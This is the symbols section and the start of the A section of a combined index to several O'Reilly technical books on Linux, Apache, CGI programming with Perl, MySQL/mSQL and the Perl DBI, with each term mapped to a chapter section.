\# command: 17.1. MySQL Utilities (MySQL & mSQL)
! (bang)
bash shell metacharacter: 7.3.2. Filename Metacharacters (Linux in a Nutshell)
ex command: 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
[ ] (brackets): 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
6.4.2.1. Embperl code blocks (CGI Programming with Perl)
16.2. Coding Guidelines (CGI Programming with Perl)
^ (circumflex) pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
: (colon)
bash shell command: 7.7. Built-in Commands (Linux in a Nutshell)
csh/tcsh command: 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
sed command: 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
$ (dollar sign)
Msql.pm: 10.3. Msql.pm (MySQL & mSQL)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
. (dot)
bash shell command: 7.7. Built-in Commands (Linux in a Nutshell)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
= (equal sign)
comparison operator: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
ex command: 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
gawk assignment: 13.6. Variable and Array Assignments (Linux in a Nutshell)
sed command: 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
# (hash mark)
bash shell command: 7.7. Built-in Commands (Linux in a Nutshell)
csh/tcsh command: 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
for comments: 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
16.1.3. The MySQL Configuration File (MySQL & mSQL)
for deprecated methods: 22. JDBC Reference (MySQL & mSQL)
in server side includes: 6.2.7. Common Errors (CGI Programming with Perl)
#! command
bash shell command: 7.7. Built-in Commands (Linux in a Nutshell)
CGI applications: 15.1.2. The Pound-Bang (CGI Programming with Perl)
csh/tcsh command: 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
- (hyphen)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
noscript argument (start_html method): 5.3.2.1. start_html (CGI Programming with Perl)
-# LOG option: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
-? option: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
< > command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
% (percent sign)
for date/time format: 6.2.4. Tailoring SSI Output (CGI Programming with Perl)
hashes, use of: 12.3.1. Search Application (CGI Programming with Perl)
in MySQL security tables: 4.4.3.1. The user table (MySQL & mSQL)
URL encoding: 2.1.1. Elements of a URL (CGI Programming with Perl)
+ (plus sign)
encoding spaces in URLs: 2.1.3. URL Encoding (CGI Programming with Perl)
keywords, separating in queries: 5.2.2.3. Index queries (CGI Programming with Perl)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
URL encoding: 2.1.1. Elements of a URL (CGI Programming with Perl)
XML elements: 14.3. Document Type Definition (CGI Programming with Perl)
? (question mark)
bash shell metacharacter: 7.3.2. Filename Metacharacters (Linux in a Nutshell)
in place of * in XML elements: 14.3. Document Type Definition (CGI Programming with Perl)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
placeholder in JDBC: 22. JDBC Reference (MySQL & mSQL)
~ (tilde) command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
~! (tilde escapes), mailx and mail programs: 9.5. mailx and mail (CGI Programming with Perl)
| pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: A

<a> HTML tag: 16.1.4.3. Using links (Running Linux)
16.1.4.5. Embedded images (Running Linux)
a command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
abbrev command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
abbreviation commands, Emacs: 10.3.9. Word Abbreviation Commands (Linux in a Nutshell)
AbiWord application: B.4. Some GNOME Applications (Running Linux)
abort command (lpc): 8.4.12. Controlling Printer Services with lpc (Running Linux)
ABS( ) function: 15.1. MySQL SQL (MySQL & mSQL)
absolute( ) method: 22. JDBC Reference (MySQL & mSQL)
absolute links: 16.1.4.3. Using links (Running Linux)
absolute URLs: 2.1.2. Absolute and Relative URLs (CGI Programming with Perl)
2.1.2. Absolute and Relative URLs (CGI Programming with Perl)
redirecting to: 3.3.1.2. Forwarding to another URL (CGI Programming with Perl)
Abstract Window Toolkit (AWT): 13.6.3. A Working Example of Java (Running Linux)
accelerators (see shortcuts)
Accept header: 2.3.2.6. Accept (CGI Programming with Perl)
3.4.1. Check the Client Browser (CGI Programming with Perl)
list, HTTP media types in: 2.6.1. Media Type (CGI Programming with Perl)
media types, checking for: 13.5.2. Converting PNGs to GIFs or JPEGs (CGI Programming with Perl)
Accept-Language and Accept-Charset headers: 2.6.2. Internationalization (CGI Programming with Perl)
Accept method (CGI.pm): 5.2.1.1. Accept (CGI Programming with Perl)
accepting commands (forms): 4. Forms and CGI (CGI Programming with Perl)
acceptsURL( ) method: 22. JDBC Reference (MySQL & mSQL)
access control: 5.6. Order, Allow, and Deny (Apache: The Definitive Guide)
12.2. Blocking Access (Apache: The Definitive Guide)
anonymous access: 5.8. Anonymous Access (Apache: The Definitive Guide)
checking: 15.3.12. Check Access (Apache: The Definitive Guide)
configuration and request information: 14.5. Access to Configuration and Request Information (Apache: The Definitive Guide)
logging accesses: 11.5.2. TransferLog (Apache: The Definitive Guide)
modules for: 12.2. Blocking Access (Apache: The Definitive Guide)
server information: 3.4.5. ServerTokens (Apache: The Definitive Guide)
throttling connections: 12.8. Throttling Connections (Apache: The Definitive Guide)
access control, stages: 4.4.3.5. The stages of access control (MySQL & mSQL)
access counters: 6.2.6. Executing CGI Programs (CGI Programming with Perl)
access, file (see permissions)
access-list configuration: 8.2.2.1. Access configuration (Programming the Perl DBI)
access mode (see permissions, file)
access rights: 4.4.3.1. The user table (MySQL & mSQL)
access.conf file: 5.9.1. Access.conf (Apache: The Definitive Guide)
16.1.3.3. access.conf (Running Linux)
access.conf file (Apache), configuring to execute CGI application with user requests: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
AccessFileName directive: 5.11.1. AccessFileName (Apache: The Definitive Guide)
16.1.3.2. srm.conf (Running Linux)
accessor methods: 2.7.3.3. Object accessor methods (Programming the Perl DBI)
access_to_mysql utility: 4.5.2.1. Database conversion utilities (MySQL & mSQL)
accounts, user: 3.2.1. Creating a User Account (Running Linux)
4.1. Logging In (Running Linux)
5.7. Managing User Accounts (Running Linux)
creating/deleting: 5.7.5. Creating Accounts (Running Linux)
ACID transaction handling: 6.3. Transactions, Locking, and Isolation (Programming the Perl DBI)
ACL file: 5.5.3. Security (MySQL & mSQL)
Acorn Disk Filing System (ADFS): 6.1.1. Filesystem Types (Running Linux)
ACOS( ) function: 15.1. MySQL SQL (MySQL & mSQL)
acquire_event( ): 14.6.9.3. Event Functions (Apache: The Definitive Guide)
ACTION attribute: 4.2.2. The <FORM> Tag (CGI Programming with Perl)
ACTION attribute (HTML): 4.1.3. The Form (Apache: The Definitive Guide)
Action directive: 4.9.1. Action (Apache: The Definitive Guide)
actions, CGI and: 4.9. Actions (Apache: The Definitive Guide)
Active attribute: 5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
A.5. Attributes Common to All Handles (Programming the Perl DBI)
active statement handles: 5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
ActiveKids attribute: 5.1.5. Deallocating Statement Handles (Programming the Perl DBI)
A.5. Attributes Common to All Handles (Programming the Perl DBI)
ActiveState
Perl debugger: 15.3.5.3. ActiveState Perl debugger (CGI Programming with Perl)
Perl Development Kit (PDK), downloading: 15.3.5.3. ActiveState Perl debugger (CGI Programming with Perl)
PerlEx module: 17. Efficiency and Optimization (CGI Programming with Perl)
PPM (Perl Package Manager), using: 10.4.1. Using DBI (CGI Programming with Perl)
release of Perl on Win32: B.1.1. Installing Modules (CGI Programming with Perl)
ActiveState Perl for Windows: 8.2.1.1. Setting up a proxy server (Programming the Perl DBI)
ad|add commands (CVS): 14.4.7.1. add (Linux in a Nutshell)
Ada language: 13.7. Other Languages (Running Linux)
Adaptec cards: D.3.2. Partitioning the Hard Disk (Running Linux)
Adaptec interfaces: 3.1.1. Booting Linux (Running Linux)
Adaptex SCSI interfaces: 3.1.1. Booting Linux (Running Linux)
AddAlt directive: 7.1.5. AddAlt (Apache: The Definitive Guide)
AddAltByEncoding directive: 7.1.11. AddAltByEncoding (Apache: The Definitive Guide)
AddAltByType directive: 7.1.9. AddAltByType (Apache: The Definitive Guide)
addBatch( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
AddDescription directive: 7.1.6. AddDescription (Apache: The Definitive Guide)
AddEncoding directive: 6.1.4. AddEncoding (Apache: The Definitive Guide)
AddHandler directive: 4.2.2. Script in DocumentRoot (Apache: The Definitive Guide)
4.8.1. AddHandler (Apache: The Definitive Guide)
11.3. Server Status (Apache: The Definitive Guide)
type maps: 6.4. Type Maps (Apache: The Definitive Guide)
AddIcon directive: 7.1.4. AddIcon (Apache: The Definitive Guide)
16.1.3.2. srm.conf (Running Linux)
AddIconByEncoding directive: 7.1.10. AddIconByEncoding (Apache: The Definitive Guide)
16.1.3.2. srm.conf (Running Linux)
AddIconByType directive: 7.1.8. AddIconByType (Apache: The Definitive Guide)
16.1.3.2. srm.conf (Running Linux)
AddModuleInfo directive: 11.1. AddModuleInfo (Apache: The Definitive Guide)
<address> HTML tag: 16.1.4.6. More HTML features (Running Linux)
address book application: 8.3. Object/Relational Modeling (MySQL & mSQL)
8.3. Object/Relational Modeling (MySQL & mSQL)
8.3. Object/Relational Modeling (MySQL & mSQL)
address book, DBI (example): 10.4.2. DBI Address Book (CGI Programming with Perl)
address table, creating: 10.4.2.1. Address book database creation script (CGI Programming with Perl)
CGI script, querying and modifying data in: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
"Address or IRQ conflict?" error: 3.3.2.1. Isolating hardware problems (Running Linux)
address specification (email addresses): 9.2.1. Validating Syntax (CGI Programming with Perl)
addresses
broadcast: 15.1.3.1. Your network configuration (Running Linux)
15.1.3.2. The networking rc files (Running Linux)
email, for automatic replies: 3.4.3. ServerAdmin (Apache: The Definitive Guide)
host: 15.1.1. TCP/IP Concepts (Running Linux)
IP: 3.9.3. Listen (Apache: The Definitive Guide)
2.3.1. IP Addresses (Linux in a Nutshell)
15.1.1. TCP/IP Concepts (Running Linux)
15.1.3.1. Your network configuration (Running Linux)
line, ex editor: 11.12.1. Options (Linux in a Nutshell)
loopback: 2.4.2. Running Apache Under Unix (Apache: The Definitive Guide)
15.1.1. TCP/IP Concepts (Running Linux)
15.1.3.1. Your network configuration (Running Linux)
network: 15.1.1. TCP/IP Concepts (Running Linux)
15.1.3.1. Your network configuration (Running Linux)
parallel port printer: 8.4.14. Printer System Troubleshooting (Running Linux)
pattern, sed editor: 12.3.1. Pattern Addressing (Linux in a Nutshell)
registering: 16.2.3.1. Registering an address (Running Linux)
subnetwork: 15.1.1. TCP/IP Concepts (Running Linux)
15.1.3.1. Your network configuration (Running Linux)
15.1.3.1. Your network configuration (Running Linux)
for variable storage: 14.1.5. Getting Information (Running Linux)
addresses, email: 9.2. Email Addresses (CGI Programming with Perl)
validating syntax: 9.2.1. Validating Syntax (CGI Programming with Perl)
addslashes( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
addsuffix variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
AddToFunc command (fvwm): 11.2.1. Configuring fvwm (Running Linux)
AddToMenu command (fvwm): 11.2.2. More Customizations (Running Linux)
AddToMenu variable (fvwm2): 17.14. Customizing Menus (Linux in a Nutshell)
AddType directive: 6.1.2. AddType (Apache: The Definitive Guide)
AddType directive, adding to httpd.conf: 6.2.1. Configuration (CGI Programming with Perl)
adduser command: 2.4.1. Webuser and Webgroup (Apache: The Definitive Guide)
5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
5.7.5. Creating Accounts (Running Linux)
adm|admin commands (CVS)
-o option, use with caution: 14.3.8.1. admin (Linux in a Nutshell)
specifying ranges: 14.3.8.1. admin (Linux in a Nutshell)
adm|cdadmin commands (CVS): 14.3.8.1. admin (Linux in a Nutshell)
administration: 5. Essential System Management (Running Linux)
cron utility and: 8.2. Scheduling Jobs Using cron (Running Linux)
electronic mail: 16.2.3. Other Email Administrative Issues (Running Linux)
emergency troubleshooting: 8.6. What to Do in an Emergency (Running Linux)
printer services maintenance: 8.4.13. Printer Optimization (Running Linux)
rebuilding kernel: 7.4. Building a New Kernel (Running Linux)
system logs: 8.3. Managing System Logs (Running Linux)
administrative files, CVS: 14.3.3. Repository Structure (Linux in a Nutshell)
variables: 14.3.3.1. The CVSROOT directory (Linux in a Nutshell)
Admin_User variable: 16.2.2.1. general (MySQL & mSQL)
ADO (ActiveX Data Objects): 7.8. And What About ADO? (Programming the Perl DBI)
B. Driver and Database Characteristics (Programming the Perl DBI)
(see also DBD::ADO driver)
Adobe, Portable Document Format (PDF): 13.1.4. PDF (CGI Programming with Perl)
affected_rows value: 13.2.1.3. Making Calls to the database (MySQL & mSQL)
afio utility: 8.1.1.3. To gzip, or not to gzip? (Running Linux)
after( ) method: 22. JDBC Reference (MySQL & mSQL)
afterLast( ) method: 22. JDBC Reference (MySQL & mSQL)
age of files, considerations with mod_perl use: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
agetty command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
agetty program: 5.3.3. rc files (Running Linux)
aha1542= parameter (linux): 3.1.1. Booting Linux (Running Linux)
aha152x= parameter (linux): 3.1.1. Booting Linux (Running Linux)
aic7xxx= parameter (linux): 3.1.1. Booting Linux (Running Linux)
alarms: 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
algorithms
automatic stemming (or removal) of word suffixes: 12.3. Inverted Index Search (CGI Programming with Perl)
data compression
lossy, use with JPEG format: 13.1.3. JPEG (CGI Programming with Perl)
LZW compression algorithm: 13.1.1. GIF (CGI Programming with Perl)
PNG images: 13.1.2. PNG (CGI Programming with Perl)
decoding form data: 4.3. Decoding Form Input (CGI Programming with Perl)
hash algorithms: 8.3. Encryption (CGI Programming with Perl)
random images, selecting: 13.2.1. An Example (CGI Programming with Perl)
random lines in text files, selecting: 13.2.1. An Example (CGI Programming with Perl)
alias command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
alias command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
alias command (Unix): 2.4.6. Our Experimental Micro Web (Apache: The Definitive Guide)
Alias directive: 8.3. Alias (Apache: The Definitive Guide)
16.1.3.2. srm.conf (Running Linux)
alias module: 8. Redirection (Apache: The Definitive Guide)
alias modules: 14.3.3.9. The modules file (Linux in a Nutshell)
alias names: 5.1.3. Fetching Data (Programming the Perl DBI)
alias= option (LILO): G.2. Image Options (Running Linux)
aliases: 11.4.5. Choosing Fonts (Running Linux)
CGI scripts: 4.3.1. ScriptAlias (Apache: The Definitive Guide)
8.3. Alias (Apache: The Definitive Guide)
hosts, listing: 3.4.6. ServerAlias (Apache: The Definitive Guide)
aliases for exported symbols in Perl: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
aliases, special tcsh: 8.6.7. Special Aliases in tcsh (Linux in a Nutshell)
aliasing: 6.7.2. Aliasing (MySQL & mSQL)
AliasMatch directive: 8.4. AliasMatch (Apache: The Definitive Guide)
aligned panel, GNOME desktop: 15.2.1. Additional Panels (Linux in a Nutshell)
aligning text: 13.4.1.1. GD::Text::Align (CGI Programming with Perl)
alignment, Emacs commands for: 10.3.14. Centering Commands (Linux in a Nutshell)
All option (Options): 3.11. Options (Apache: The Definitive Guide)
Allaire ColdFusion language: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
alloc command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
allow directive: 5.6. Order, Allow, and Deny (Apache: The Definitive Guide)
11.3. Server Status (Apache: The Definitive Guide)
AllowOverride directive: 5.12.1. AllowOverride (Apache: The Definitive Guide)
15.3.5. Command Table (Apache: The Definitive Guide)
alpha stage: 1.7. Open Source and the Philosophy of Linux (Running Linux)
Alpha systems: C. Installing Linux on Digital/ Compaq Alpha Systems (Running Linux)
booting: C.6.3. Booting the Alpha System and Preparing to Load Milo (Running Linux)
firmware programs: C.3.1. Limitations of ARC Firmware (Running Linux)
C.5.3. Firmware/BIOS Peripheral Device Support (Running Linux)
hardware: C.6.2. Preparing Hardware for Installation (Running Linux)
requirements: C.5.1. Minimum Hardware (Running Linux)
resources on: C.4. Collecting System Hardware Information (Running Linux)
history and status: C.1. Alpha History and Status (Running Linux)
identifying: C.3. Identifying Your Alpha System (Running Linux)
installing Linux: C.3. Identifying Your Alpha System (Running Linux)
C.6. Installing Linux (Running Linux)
preparing to install: C.5. Preparing for Installation of Linux Alpha (Running Linux)
installing Milo utility: C.3. Identifying Your Alpha System (Running Linux)
tuning Linux: C.7. Tuning and Post-Installation Considerations (Running Linux)
AlphaBIOS firmware: C.3.2. Limitations of AlphaBIOS Firmware (Running Linux)
AlphaLinux resources: C.4.1.1. AlphaLinux sites (Running Linux)
ALTER statement: 15.1. MySQL SQL (MySQL & mSQL)
ALTER TABLE command: 6.3.2.1. Variable-length character fields in MySQL (MySQL & mSQL)
alternate text for browsers: 7.1.5. AddAlt (Apache: The Definitive Guide)
7.1.9. AddAltByType (Apache: The Definitive Guide)
alternative target, specifying for document updates: 5.3.1.4. Specifying an alternative target (CGI Programming with Perl)
Amateur Radio support: 7.4.2. Building the Kernel (Running Linux)
AmigaOS filesystems: 6.1.1. Filesystem Types (Running Linux)
& command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
ampersand ( & )
appending data with: 4.3. Decoding Form Input (CGI Programming with Perl)
between name/value pairs: 2.1.1. Elements of a URL (CGI Programming with Perl)
joining key-value pairs: 4.1. Sending Data to the Server (CGI Programming with Perl)
separating name-value pairs: 4.3. Decoding Form Input (CGI Programming with Perl)
ampersand (&): 4.11. Putting a Command in the Background (Running Linux)
background processing: 11.1.1. xinit (Running Linux)
Devel::SawAmpersand module: 17.1.10. Regular Expressions (CGI Programming with Perl)
in HTML text escapes: 16.1.4.6. More HTML features (Running Linux)
ampersand modules: 14.3.3.9. The modules file (Linux in a Nutshell)
anchor tags as fragment identifiers (HTML documents): 2.1.1. Elements of a URL (CGI Programming with Perl)
anchoring $, Msql.pm: 10.3. Msql.pm (MySQL & mSQL)
anchors: 16.1.4.3. Using links (Running Linux)
AND logical operator: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
< > command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
animation, image file formats supporting: 13.1.1. GIF (CGI Programming with Perl)
animation settings
Enlightenment window manager: 15.4.9.5. Special FX (Linux in a Nutshell)
GNOME panel: 15.4.2.1. Animation (Linux in a Nutshell)
Sawfish window manager: 15.4.8.1. Appearance (Linux in a Nutshell)
ann|annotate commands (CVS): 14.4.7.2. annotate (Linux in a Nutshell)
anonymous
access: 5.8. Anonymous Access (Apache: The Definitive Guide)
key exchange (SSL): D.1.1.1. Anonymous key exchange (Apache: The Definitive Guide)
Anonymous directive: 5.8.1. Anonymous (Apache: The Definitive Guide)
anonymous FTP (see FTP)
anonymous temporary files: 10.1.3.1. Anonymous temporary files (CGI Programming with Perl)
Anonymous_Authoritative directive: 5.8.5. Anonymous_Authoritative (Apache: The Definitive Guide)
Anonymous_LogEmail directive: 5.8.3. Anonymous_LogEmail (Apache: The Definitive Guide)
Anonymous_MustGiveEmail directive: 5.8.6. Anonymous_MustGiveEmail (Apache: The Definitive Guide)
Anonymous_NoUserID directive: 5.8.2. Anonymous_NoUserID (Apache: The Definitive Guide)
Anonymous_VerifyEmail directive: 5.8.4. Anonymous_VerifyEmail (Apache: The Definitive Guide)
ANSI C standard: 13.1.2. gcc Features (Running Linux)
ANSI SQL: 1.2. What Is a Relational Database? (MySQL & mSQL)
ANSI SQL2 specification: 5.2. mSQL Versions (MySQL & mSQL)
6.6.1. Inserts (MySQL & mSQL)
ANSI SQL statements: 4.1. Design (MySQL & mSQL)
AnyDBM_File module: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
a.out file: 13.1.3. Basic gcc Usage (Running Linux)
Apache: 5.6.2.5. Miscellaneous (MySQL & mSQL)
9.3. The CGI Specification (MySQL & mSQL)
12.2.2. Installation (MySQL & mSQL)
directives (see directives, Apache)
history of: 0.1. Who Wrote Apache, and Why? (Apache: The Definitive Guide)
modules (see modules)
multiple copies: 3.9. Two Copies of Apache (Apache: The Definitive Guide)
NCSA server and: C. NCSA and Apache Compatibility (Apache: The Definitive Guide)
restarting: 3.12. Restarts (Apache: The Definitive Guide)
security (see security)
technical support: A. Support Organizations (Apache: The Definitive Guide)
under Win32 (see Win32)
versions of: 0. Preface (Apache: The Definitive Guide)
1.7. Which Apache? (Apache: The Definitive Guide)
Apache API: 14. The Apache API (Apache: The Definitive Guide)
functions of (list): 14.6. Functions (Apache: The Definitive Guide)
apache command flags: 2.2. Apache's Flags (Apache: The Definitive Guide)
Apache FTP directory: 12. Extra Modules (Apache: The Definitive Guide)
Apache-SSL patch: 13.6.2. Get the Apache-SSL Patch (Apache: The Definitive Guide)
Apache web server: 1.5.7. Networking (Running Linux)
access configuration file, editing: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
buffering output to client: 3.1.1.2. STDOUT (CGI Programming with Perl)
configuring for Perl and CGI: 1.4. Web Server Configuration (CGI Programming with Perl)
error log, location of: 15.3.2. Check Error Logs (CGI Programming with Perl)
FastCGI, installing with: 17.2.1. Installing FastCGI (CGI Programming with Perl)
htpasswd utility: 2.3.2.4. Authorization (CGI Programming with Perl)
mod_perl: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
17.3. mod_perl (CGI Programming with Perl)
installation and configuration: 17.3.1. Installation and Configuration (CGI Programming with Perl)
issues with using: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
mod_unique_id module, using: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
nph scripts, output buffering and: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
PHP language, supporting: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
Apache web servers: 16.1.3. Configuring Your Own WWW Server (Running Linux)
apachect1 script: 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
apachectl utility: 16.1.3.4. Starting httpd (Running Linux)
apache.exe: 1.1. How Does Apache Work? (Apache: The Definitive Guide)
1.9. Apache Under Windows (Apache: The Definitive Guide)
Apache::PerlRun module: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
Apache::Registry module: 17.3. mod_perl (CGI Programming with Perl)
configuring to honor taint mode and warnings: 17.3.1. Installation and Configuration (CGI Programming with Perl)
ap_acquire_mutex( ): 14.6.9.1. Mutex Functions (Apache: The Definitive Guide)
ap_add_cgi_vars( ): 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
ap_add_common_vars( ): 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
ap_add_version_component( ): 14.6.19. Server Information Functions (Apache: The Definitive Guide)
ap_allow_options( ): 14.6.18. Configuration Information Functions (Apache: The Definitive Guide)
ap_allow_overrides( ): 14.6.18. Configuration Information Functions (Apache: The Definitive Guide)
ap_auth_name( ): 14.6.18. Configuration Information Functions (Apache: The Definitive Guide)
ap_auth_type( ): 14.6.18. Configuration Information Functions (Apache: The Definitive Guide)
ap_bclose( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bcreate( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bfileno( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bflush( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bgetc( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bgetflag( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bgets( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_blookc( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bnonblock( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bonerror( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bprintf( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bpushfd( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bpushh( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bputc( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bputs( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bread( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bskiplf( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bspawn_child( ): 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
ap_bvputs( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_bwrite( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_can_exec( ): 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
ap_cfg_closefile( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
ap_cfg_getc( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
ap_check_alarm( ): 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
ap_check_cmd_context( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
ap_checkmask( ): 14.6.11. String Functions (Apache: The Definitive Guide)
ap_child_terminate( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_clear_pool( ): 14.6.1. Pool Functions (Apache: The Definitive Guide)
ap_clear_table( ): 14.6.3. Table Functions (Apache: The Definitive Guide)
ap_close_piped_log( ): 14.6.21. Piped Log Functions (Apache: The Definitive Guide)
ap_create_mutex( ): 14.6.9.1. Mutex Functions (Apache: The Definitive Guide)
ap_default_port( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_default_port_for_scheme( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_default_type( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_destroy_mutex( ): 14.6.9.1. Mutex Functions (Apache: The Definitive Guide)
ap_error_log2stderr( ): 14.6.20. Logging Functions (Apache: The Definitive Guide)
ap_escape_html( ): 14.6.11. String Functions (Apache: The Definitive Guide)
ap_find_last_token( ): 14.6.11. String Functions (Apache: The Definitive Guide)
ap_fnmatch( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
ap_get_basic_auth_pw( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_get_module_config( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_get_remote_host( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
ap_get_remote_logname( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_get_server_built( ): 14.6.19. Server Information Functions (Apache: The Definitive Guide)
ap_get_server_name( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_get_server_port( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_get_server_version( ): 14.6.19. Server Information Functions (Apache: The Definitive Guide)
ap_http_method( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_ind( ): 14.6.11. String Functions (Apache: The Definitive Guide)
APIs (Application Programming Interfaces): 2. Basic Non-DBI Databases (Programming the Perl DBI)
7.1. ODBC--Embraced and Extended (Programming the Perl DBI)
ap_is_default_port( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_is_empty_table( ): 14.6.3. Table Functions (Apache: The Definitive Guide)
ap_is_fnmatch( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
ap_is_initial_req( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_kill_cleanups_for_socket( ): 14.6.4. Cleanup Functions (Apache: The Definitive Guide)
ap_log_error( ): 14.6.20. Logging Functions (Apache: The Definitive Guide)
ap_log_reason( ): 14.6.20. Logging Functions (Apache: The Definitive Guide)
APM: 1.9. Hardware Requirements (Running Linux)
ap_make_dirstr_parent( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
ap_make_dirstr_prefix( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
ap_matches_request_vhost( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_md5( ): 14.6.8. MD5 Functions (Apache: The Definitive Guide)
apmd command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ap_md5contextTo64( ): 14.6.8. MD5 Functions (Apache: The Definitive Guide)
ap_md5digest( ): 14.6.8. MD5 Functions (Apache: The Definitive Guide)
ap_MD5Final( ): 14.6.8. MD5 Functions (Apache: The Definitive Guide)
apmd_proxy command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ap_MD5Update( ): 14.6.8. MD5 Functions (Apache: The Definitive Guide)
ap_note_cleanups_for_file( ): 14.6.4. Cleanup Functions (Apache: The Definitive Guide)
ap_note_cleanups_for_socket( ): 14.6.4. Cleanup Functions (Apache: The Definitive Guide)
ap_open_mutex( ): 14.6.9.1. Mutex Functions (Apache: The Definitive Guide)
ap_open_piped_log( ): 14.6.21. Piped Log Functions (Apache: The Definitive Guide)
